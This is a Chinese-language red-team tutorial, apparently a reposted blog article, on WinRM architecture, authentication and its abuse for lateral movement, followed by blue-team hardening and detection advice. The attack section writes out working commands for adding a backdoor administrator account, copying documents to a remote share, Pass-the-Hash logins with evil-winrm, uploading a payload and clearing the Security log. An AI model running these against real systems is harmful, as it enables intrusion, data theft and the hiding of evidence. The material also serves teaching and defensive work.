// 红队渗透 · 2025-03-30

WinRM 底层原理与渗透应用

一、WinRM 概念与架构

1. 什么是 WinRM?

WinRM(Windows Remote Management,Windows 远程管理)是微软对 WS-Management(WS-Man) 开放标准协议的原生实现,是 Windows 生态中远程管理的核心基础设施,从 Windows XP/Server 2003 开始预装,Windows Server 2012 R2 及以上版本默认启用服务并监听端口。

其本质是基于 Web 服务的远程管理框架,通过 HTTP/HTTPS 传输 SOAP 格式的 XML 消息,实现跨主机的命令执行、系统配置、数据采集等操作,是 PowerShell Remoting、WMI/CIM 等远程管理功能的底层依赖。

2. 核心架构与组件

WinRM 采用经典的 客户端-服务器(C/S) 模型,核心组件如下:

组件 角色 核心功能
WinRM 服务(WinRM.exe) 服务端 后台运行,监听 5985(HTTP)/5986(HTTPS)端口,处理客户端请求,调用本地系统资源执行操作
监听器(Listener) 服务端 绑定网络地址与传输协议(HTTP/HTTPS),接收客户端的 SOAP 请求,是 WinRM 对外暴露的入口
端点(Endpoint) 服务端 定义可执行的操作集合,默认包含 Microsoft.PowerShell 端点,支持 PowerShell 命令执行
WS-Management 协议栈 通信层 基于 SOAP 封装管理操作,遵循 DMTF 开放标准,实现跨平台兼容性
认证模块 安全层 支持 Kerberos、NTLM、Basic、CredSSP 等多种认证方式,保障身份合法性
PowerShell Remoting 应用层 封装 WinRM 能力,提供 Invoke-Command、Enter-PSSession 等易用命令,是运维与渗透的核心入口

3. 关键端口与传输

  • 默认端口:HTTP 5985(非加密,测试/内网常用)、HTTPS 5986(加密,生产环境推荐)
  • 传输协议:完全基于 HTTP/HTTPS,天然适配防火墙规则(企业内网通常放行运维端口),支持代理、负载均衡等网络架构
  • 数据格式:所有请求/响应均为 SOAP 封装的 XML 格式,远程执行结果会被序列化后回传,客户端再反序列化为对象

二、WinRM 底层工作原理

1. 完整通信流程

WinRM 的一次远程操作,本质是「请求-认证-执行-响应」的闭环,核心步骤如下:

  1. 服务端初始化:目标主机启用 WinRM 服务,创建监听器,配置防火墙放行 5985/5986 端口,设置认证规则与权限
  2. 客户端连接请求:客户端(如 PowerShell、Evil-WinRM)向目标主机的监听器发送 HTTP/HTTPS POST 请求,携带 SOAP 格式的身份认证信息
  3. 身份认证与授权:服务端根据配置的认证方式(Kerberos/NTLM 等)验证客户端身份,同时校验用户是否属于 Administrators 或 Remote Management Users 组(WinRM 远程操作的最低权限要求)
  4. 创建会话/Shell:认证通过后,服务端为客户端创建独立的远程会话(PSSession)或命令行 Shell,分配资源
  5. 命令执行:客户端发送包含命令/脚本的 SOAP 请求,服务端在本地执行(如调用 PowerShell 引擎、CMD 命令)
  6. 结果回传:服务端将执行结果、错误信息序列化为 XML,通过 HTTP/HTTPS 响应返回给客户端
  7. 会话销毁:操作完成后,客户端主动关闭会话,或服务端超时自动销毁,释放资源

2. 核心认证机制详解

WinRM 支持多种认证方式,不同场景的安全性与适用范围差异显著:

(1)协商认证(Negotiate,默认)

基于 SPNEGO 机制,自动选择 Kerberos(域环境首选)或 NTLM(工作组/IP 连接),是最常用的认证方式。

  • Kerberos 认证:域环境默认使用,基于票据(Ticket)实现无密码认证,安全性高,支持单点登录(SSO),是域内横向移动的核心依赖
  • NTLM 认证:工作组环境、IP 直连时 fallback 使用,基于挑战-响应机制,无需域控参与,支持 Pass-the-Hash(PtH)攻击,是红队最常滥用的认证方式

(2)其他认证方式

  • Basic 认证:明文传输用户名密码(需 HTTPS 加密,否则极易被窃听),适用于跨平台工具(如 Python/Java 调用),渗透中常用于弱口令爆破
  • CredSSP 认证:支持「双跳」场景(远程主机访问第三方资源),但会明文存储凭据,风险极高,渗透中可用于权限提升
  • 证书认证:基于 SSL 证书的双向认证,生产环境高安全场景使用,渗透中利用难度较高

3. PowerShell Remoting 与 WinRM 的关系

PowerShell Remoting 是 WinRM 的「上层封装」,所有 PowerShell 远程命令(Invoke-Command、Enter-PSSession、New-PSSession)完全基于 WinRM 服务运行,二者的关系可概括为:

  • WinRM 是底层通信管道:负责网络传输、身份认证、会话管理
  • PowerShell Remoting 是操作入口:封装复杂的 SOAP 交互,提供易用的命令行接口,支持一对多并行执行(Fan-out remoting)、非交互式批量操作

以 Invoke-Command 为例,其核心特性完全依赖 WinRM:

  • 一对多(One-to-Many):同时向多台目标主机发送请求,并行执行命令,是横向移动的核心能力
  • 非交互式(Non-interactive):一次性发送命令,执行完返回结果,适合自动化攻击脚本
  • 并行执行(Parallelly):默认 32 个并行会话,可通过 -ThrottleLimit 自定义,大幅提升渗透效率

三、WinRM 在渗透测试中的应用

WinRM 是红队内网渗透的「瑞士军刀」,凭借系统原生、免杀性强、权限可控、支持一对多等特性,成为横向移动、权限维持、批量攻击的核心手段,应用场景如下:

1. 核心利用条件

要通过 WinRM 渗透目标主机,需满足以下前提:

  • 目标主机 WinRM 服务已启用(Windows Server 2012+ 默认启用,客户端系统需手动 Enable-PSRemoting)
  • 目标主机 5985/5986 端口可访问(防火墙放行)
  • 拥有目标主机的 有效凭据(用户名密码/NTLM Hash,需属于管理员组或 Remote Management Users 组)
  • 客户端与目标主机网络连通(内网跳板、端口转发等)

2. 常见渗透工具与命令

(1)PowerShell 原生命令(Windows 跳板机)

PowerShell 是 Windows 环境下最便捷的 WinRM 利用工具,无需额外安装,免杀性拉满:

# 1. 交互式远程登录(一对一,类似 SSH)
Enter-PSSession -ComputerName 192.168.1.100 -Credential (Get-Credential)

# 2. 非交互式批量执行(一对多,横向移动核心)
$computers = @("DC01","WEB01","DB01")
Invoke-Command -ComputerName $computers -Credential $cred -ScriptBlock {
  # 批量执行恶意操作:创建后门账户、植入木马、窃取数据
  net user hacker P@ssw0rd! /add
  net localgroup administrators hacker /add
  Get-ChildItem C:\Users\Administrator\Desktop\*.docx | Copy-Item -Destination \\192.168.1.50\share\
}

# 3. 复用会话(提升效率,避免重复认证)
$sessions = New-PSSession -ComputerName $computers -Credential $cred
Invoke-Command -Session $sessions -ScriptBlock { whoami /all }
Remove-PSSession $sessions

# 4. Pass-the-Hash(PtH)攻击(无需明文密码,仅需 NTLM Hash)
$secpass = ConvertTo-SecureString "NTLM_HASH_HERE" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("Administrator", $secpass)
Invoke-Command -ComputerName 192.168.1.100 -Credential $cred -ScriptBlock { Get-Process }

(2)跨平台工具(Kali/Linux 攻击机)

  • Evil-WinRM:红队最常用的 WinRM 渗透工具,支持交互式 Shell、文件上传下载、PtH 攻击,完全适配内网渗透场景
# 安装
apt install evil-winrm

# 密码连接
evil-winrm -i 192.168.1.100 -u Administrator -p P@ssw0rd!

# Pass-the-Hash 连接
evil-winrm -i 192.168.1.100 -u Administrator -H 8846F7EA...586C

# 上传文件
upload /root/payload.exe C:\Windows\Temp\
# 下载文件
download C:\Users\Administrator\Desktop\secret.txt
  • WinRS:Windows 原生命令行工具,适合 CMD 环境下的快速利用
winrs -r:192.168.1.100 -u:Administrator -p:P@ssw0rd! "cmd /c whoami & ipconfig"

3. 典型渗透场景与攻击链

(1)域内横向移动

攻击者在拿下域内一台普通主机后,通过 WinRM 批量渗透域内所有服务器,扩大控制范围:

  1. 信息收集:通过 Get-ADComputer 获取域内所有主机列表,扫描 5985 端口开放情况
  2. 凭据获取:通过 Mimikatz 等工具窃取域管理员的 NTLM Hash
  3. 批量横向:使用 Invoke-Command 或 Evil-WinRM 对所有目标主机执行 PtH 攻击,获取远程 Shell
  4. 权限维持:批量创建后门账户、植入持久化木马、修改组策略
  5. 数据窃取:批量下载敏感文件、导出域控数据库(NTDS.dit)

(2)无文件攻击与免杀

WinRM 支持内存执行,无需在目标主机写入文件,完美绕过传统杀毒软件的文件检测:

  • 直接在远程会话中执行 PowerShell 恶意脚本,从内存加载木马(如 Cobalt Strike Beacon)
  • 通过 Invoke-Command -FilePath 执行本地攻击脚本,无需上传到目标主机,无文件落地痕迹
  • 利用 WinRM 调用 WMI/CIM,执行系统底层操作,规避 EDR 监控

(3)权限提升与持久化

  • 权限提升:通过 WinRM 以管理员身份执行提权命令,如 whoami /priv、Enable-PSRemoting 扩大攻击面
  • 持久化:通过 WinRM 远程创建计划任务、修改注册表、安装服务,实现开机自启,维持对目标主机的控制
  • 后门监听:在目标主机配置 WinRM 监听器,实现反向连接,规避防火墙出站限制

4. 渗透中的进阶技巧

  • 信任主机绕过:工作组环境中,客户端需配置 Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force 信任所有主机,否则无法连接
  • HTTPS 绕过证书校验:测试环境中使用 -SkipCACheck -SkipCNCheck 忽略自签名证书错误,快速建立连接
  • 并行执行优化:通过 -ThrottleLimit 50 提升并行会话数,加快批量渗透速度
  • 日志清除:远程执行 wevtutil cl Security 清除 WinRM 登录日志,掩盖攻击痕迹
  • 端口转发:通过 frp、ngrok 等工具将内网 WinRM 端口映射到公网,实现远程渗透

四、WinRM 安全风险与防御方案

1. 核心安全风险

  • 合法工具滥用(Living off the Land):WinRM 是系统原生工具,传统杀毒软件默认信任,极易被红队滥用
  • NTLM 认证脆弱性:支持 PtH 攻击,一旦 NTLM Hash 泄露,攻击者可直接横向移动,无需破解密码
  • 默认配置风险:Windows Server 2012+ 默认启用 WinRM,若未做安全配置,易被未授权访问
  • 日志审计缺失:多数企业未监控 WinRM 操作日志,攻击行为难以被发现
  • 弱口令爆破:5985 端口暴露后,攻击者可通过暴力破解获取管理员权限

2. 蓝队防御方案

(1)基础安全配置

  • 严格限制 WinRM 访问:仅允许运维主机访问 5985/5986 端口,通过防火墙、IP 白名单限制访问范围
  • 禁用不必要的认证方式:关闭 Basic、NTLM 认证,强制使用 Kerberos 认证,阻断 PtH 攻击
  • 启用 HTTPS 加密:生产环境必须使用 5986 端口(HTTPS),配置合法 SSL 证书,禁用 5985 端口
  • 最小权限原则:仅为必要用户分配 Remote Management Users 组权限,禁止普通用户使用 WinRM

(2)日志监控与检测

  • 监控关键事件日志:
    • 事件 ID 4624(登录成功):检测异常 WinRM 登录(非运维时段、陌生 IP)
    • 事件 ID 4648(显式凭据登录):检测 PtH 攻击行为
    • 事件 ID 4728(管理员组添加):检测批量创建后门账户
    • WinRM 服务日志(Microsoft-Windows-WinRM/Operational):监控异常请求
  • SIEM 规则配置:
    • 检测 Invoke-Command、Enter-PSSession 等 PowerShell 远程命令的批量执行
    • 监控 5985/5986 端口的异常流量(如短时间内大量连接请求)
    • 检测 WinRM 会话的高危操作(如 net user、reg add、schtasks)

(3)进阶防护措施

  • 启用 LSA 保护:防止 NTLM Hash 被窃取,从根源阻断 PtH 攻击
  • 部署 EDR/XDR:监控 PowerShell 远程执行行为,检测无文件攻击
  • 定期安全审计:审计 WinRM 配置、权限分配、监听器状态,及时修复弱配置
  • 禁用 WinRM 服务:非运维服务器直接禁用 WinRM 服务,关闭攻击面

五、总结

WinRM 是 Windows 远程管理的核心基础设施,其底层基于 WS-Management 协议,通过 HTTP/HTTPS 传输 SOAP 消息,为 PowerShell Remoting 提供通信支撑。在渗透测试中,WinRM 凭借系统原生、免杀性强、一对多并行、支持 PtH等特性,成为红队内网横向移动、无文件攻击的核心手段;而在防御层面,需通过严格的访问控制、认证加固、日志监控,阻断 WinRM 滥用风险。

对于红队而言,WinRM 是内网渗透的「必备技能」,需熟练掌握其底层原理、工具使用与攻击技巧;对于蓝队而言,WinRM 是重点防护对象,需构建「配置加固-日志监控-应急响应」的全流程防御体系,抵御 WinRM 相关攻击。

原文 https://blog.csdn.net/2301_79518550/article/details/146312622